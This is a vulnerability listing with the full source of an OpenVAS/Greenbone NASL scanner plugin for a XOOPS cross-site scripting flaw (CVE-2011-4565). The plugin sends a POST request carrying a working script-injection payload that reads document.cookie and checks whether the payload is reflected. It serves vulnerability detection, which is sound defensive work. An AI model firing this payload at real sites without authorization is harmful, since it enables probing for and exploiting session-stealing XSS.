CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
71.8%
XOOPS is prone to cross site scripting vulnerabilities.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:xoops:xoops";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802351");
script_version("2023-10-27T05:05:28+0000");
script_cve_id("CVE-2011-4565");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2011-12-05 15:17:25 +0530 (Mon, 05 Dec 2011)");
script_name("XOOPS 'text' and 'message' Parameter Cross-Site Scripting Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("secpod_xoops_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("XOOPS/installed");
script_xref(name:"URL", value:"http://secunia.com/advisories/46238");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49995");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/70377");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/70378");
script_xref(name:"URL", value:"http://xoops.org/modules/news/article.php?storyid=6094");
script_xref(name:"URL", value:"https://www.htbridge.ch/advisory/multiple_xss_in_xoops_web_application_platform.html");
script_tag(name:"summary", value:"XOOPS is prone to cross site scripting vulnerabilities.");
script_tag(name:"insight", value:"The flaws are due to improper validation of user-supplied input to
- The 'text' parameter to include/formdhtmltextarea_preview.php (when 'html'
is set to '1'),
- The '[img]' BBCode tag in the 'message' parameter to pmlite.php script,
which allows attacker to execute arbitrary HTML and script code on the
user's browser session in the security context of an affected site.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert arbitrary HTML
and script code, which will be executed in a user's browser session in the context of an affected site.");
script_tag(name:"affected", value:"XOOPS version 2.5.1a and prior.");
script_tag(name:"solution", value:"Upgrade to XOOPS version 2.5.3 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";
useragent = http_get_user_agent();
host = http_host_name( port:port );
url = dir + "/include/formdhtmltextarea_preview.php";
postdata = "html=1&text=<script>alert(document.cookie)</script>";
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n", postdata);
res = http_keepalive_send_recv( port:port, data:req );
if( res =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie)</script>" >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );